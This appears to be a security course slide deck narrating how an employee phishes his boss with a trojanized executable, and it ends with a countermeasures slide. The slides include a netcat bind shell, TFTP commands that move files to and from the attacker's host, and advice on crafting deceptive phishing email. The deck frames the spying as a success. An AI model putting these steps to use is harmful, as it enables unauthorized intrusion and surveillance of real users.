  1. TEL 283 What’s the Boss viewing?

  2. Policy • The Boss established a new policy against surfing the web during work hours • Phoenix decides to examine the sites that the Boss is looking at by spying on him

  3. Setup • The networked machines are connected via a switch • Private 192.168.1.0 network • Boss’ IP: 192.168.1.5 • Phoenix’s IP: 192.168.1.6

  4. The Plan • Monitor traffic to and from the Boss’ machine • How “loud” should this approach be? • Loud/noisy means that could trigger alarms of IDS/IPS systems • Might be reasons to launch a noisy attack • Provide a distraction to another attack • Sometimes it’s the only way to monitor traffic • Since a single host’s traffic is the target, ARP poisoning, MAC spoofing or MAC flooding will not be done

  5. Viewing Switched Network Traffic • “Loud” methods • Gratuitous ARP for individual hosts • ARP Poisoning • MAC spoofing • MAC flooding • SPAN • Port mirroring

  6. Viewing Switched Network Traffic • Gratuitous ARP • Unsolicited ARP • Protocol allows for it, without checking for the ARP request (stateless!) • ARP reply sent out associating the target’s IP with the collector’s MAC address • Spoof the MAC of the gateway • Collector replies to ARP requests for the gateway’s MAC • Switch will see the router’s MAC address on both switch ports will send outbound traffic to both ports • MAC flooding • Overwhelm the switch’s MAC table • Causes the switch to “failover” into hub mode • MACOF (http://monkey.org/~dugsong/dsniff/)

  7. Quieter method • Capture the traffic on the target host itself • Plant WinPCap and Trojan Horse on the host • The trick will be to install the software on the target host • Boss will not blindly install software • Have to convince him it’s something of value to him • The plan consists of a chained series of exploits

  8. The Plan • Copy a web site and host it on Phoenix’s server • Bind Netcat to a legitimate executable file • Send email to boss • Download the free executable • Netcat will also be downloaded and installed • Connect to boss’ machine using Netcat • Use TFTP and download a WinDump program onto boss’ machine • Capture the boss’ network traffic • Analyze captured traffic • Rebuild a jpg image using a hex editor

  9. Phishing Scam • Phoenix locates a site and plans to get his boss to visit a copied version of the site • Lays the groundwork via some social engineering • Tells boss of a site “certificatepractice.com” which offers free CCNA practice exam as a promotional offer • Uses a utility to download and mirror the site • Wget (www.gnu.org/software/wget) • Copy the site recursively to hard drive, with appropriate level of hyperlinks of the 1st page • Will also copy the practice test executable • Phoenix will bind his Trojan to this executable

  10. Binding the Trojan • Trojan wrapper program is used • YAB (Yet Another Binder) • Areyoufearless.com (no longer there, however can get via BitTorrent sites) • Altavista.net • Packetstormsecurity.org • Add Bind File option • Allows Phoenix to bind nc.exe • Will execute nc (asynchronously is possible) • Can add execution parameters when nc starts up • Np 50 –e cmd.exe –L • Registry startup option available (default is no) • Melt stub option • Will remove netcat after execution • Icon can be added to make the install appear legitimate

  11. Setting up the phishing site • Overwrite the original ccna.exe file with the bound Trojan file in the phony site • Register a very similar domain name • “certification-practice.com” • Send an email to victim • Phoenix uses an anonymous e-mailer and spoofs the email header to have the “From:” appear as the real site • www.mail.com • Doesn’t require a “real” email address to register • Victim would have to read the email message headers in order to see the real source domain

  12. Email • Check for spelling and grammatical errors • Offer something free or trial basis • Appeal to greed • Why victim is getting something for nothing • Lower suspicion • Appeal to victim’s sense of self • Self-help tools, adding to success, etc • Brevity • Text of the email contains the link to the site • Appears as the URL of the real site, but the hyperlink is really the phony site • Present the email to the victim • Possibly prepare the victim for the email, adding to the enticement

  13. Obtain the Vic’s IP address • Angry IP Scanner • www.angryziber.com/ipscan/ • Scan IP’s on the network for the IP with port 50 open and listening

  14. Connect to the victim machine • nc to the victim’s machine on port 50 • Verify the connection using ipconfig • Will show the victim machine’s IP in the nc window

  15. Install packet capture software • Use command line utility • nc does not allow for usage of a GUI (Windows) interface • Sysinternals has a TFTP server available • Free • No configuration required • Windows already has a TFTP client! • Windump is downloaded • www.winpcap.org/windump • Placed into the default TFTP server directory (TFPT-Root) • Phoenix sets up a TFTP server on his machine • Using Netcat, Phoenix types tftp –i 192.168.1.6 get windump.exe windump.exe tftp [-i] host [put | get] source destination -i switch use binary transfer

  16. Run Windump • Options • -c count (packets) • -s snaplength (length of packets captured) • -w filename (of captured packets) windump –c 500 –s 1500 –w capture.log • If the victim does not have winpcap installed, Phoenix must transfer and manually install winpcap on victim machine • Windump requires winpcap

  17. Installing winpcap • Phoenix downloads winpcap • Unzips it • TFTP (to victim’s winpcap directory) • Daemon_mgm.exe • NetMonInstaller.exe • Npf_mgm.exe • Rpcapd.exe • Uninstall exe • Execute Npf_mgm.exe –r Daemon_mgm.exe –r NetMonInstaller.exe i

  18. Analyzing the capture log • Using Netcat tftp –I put 192.168.1.6 capture.log • Use a packet analyzer to view the traffic • Wireshark • A review show sites visited by the victim • Includes a GET (HTTP) for a file called “gambling.jpg” • Follow TCP stream • Capture the output as raw data • Use a hex editor (WinHex), if required, to edit the raw data • Remove everything before the actual binary file (HTTP commands, etc) • Leaves just the actual binary of the image • Jpg starts with ÿØÿà

  19. Finale • Anonymous note left on the victim’s desk highlighting the activity • Internet usage policy relaxed the next day

  20. Countermeasures • Phishing • Training! • Spam filters / phishing filters • Trojan horse • Anti-virus software • Latest signatures • However • Organizations will alter the Trojan (for a price) so that it does not match a signature • EliteC0ders (no longer offers this “service”) • Software policy • Sniffing • Port security on switches • Protects against ARP poisoning, MAC spoofing and MAC flooding • IPS • PromiScan • Host based IDS • Cisco Secure Agent • Warns if new application is launching
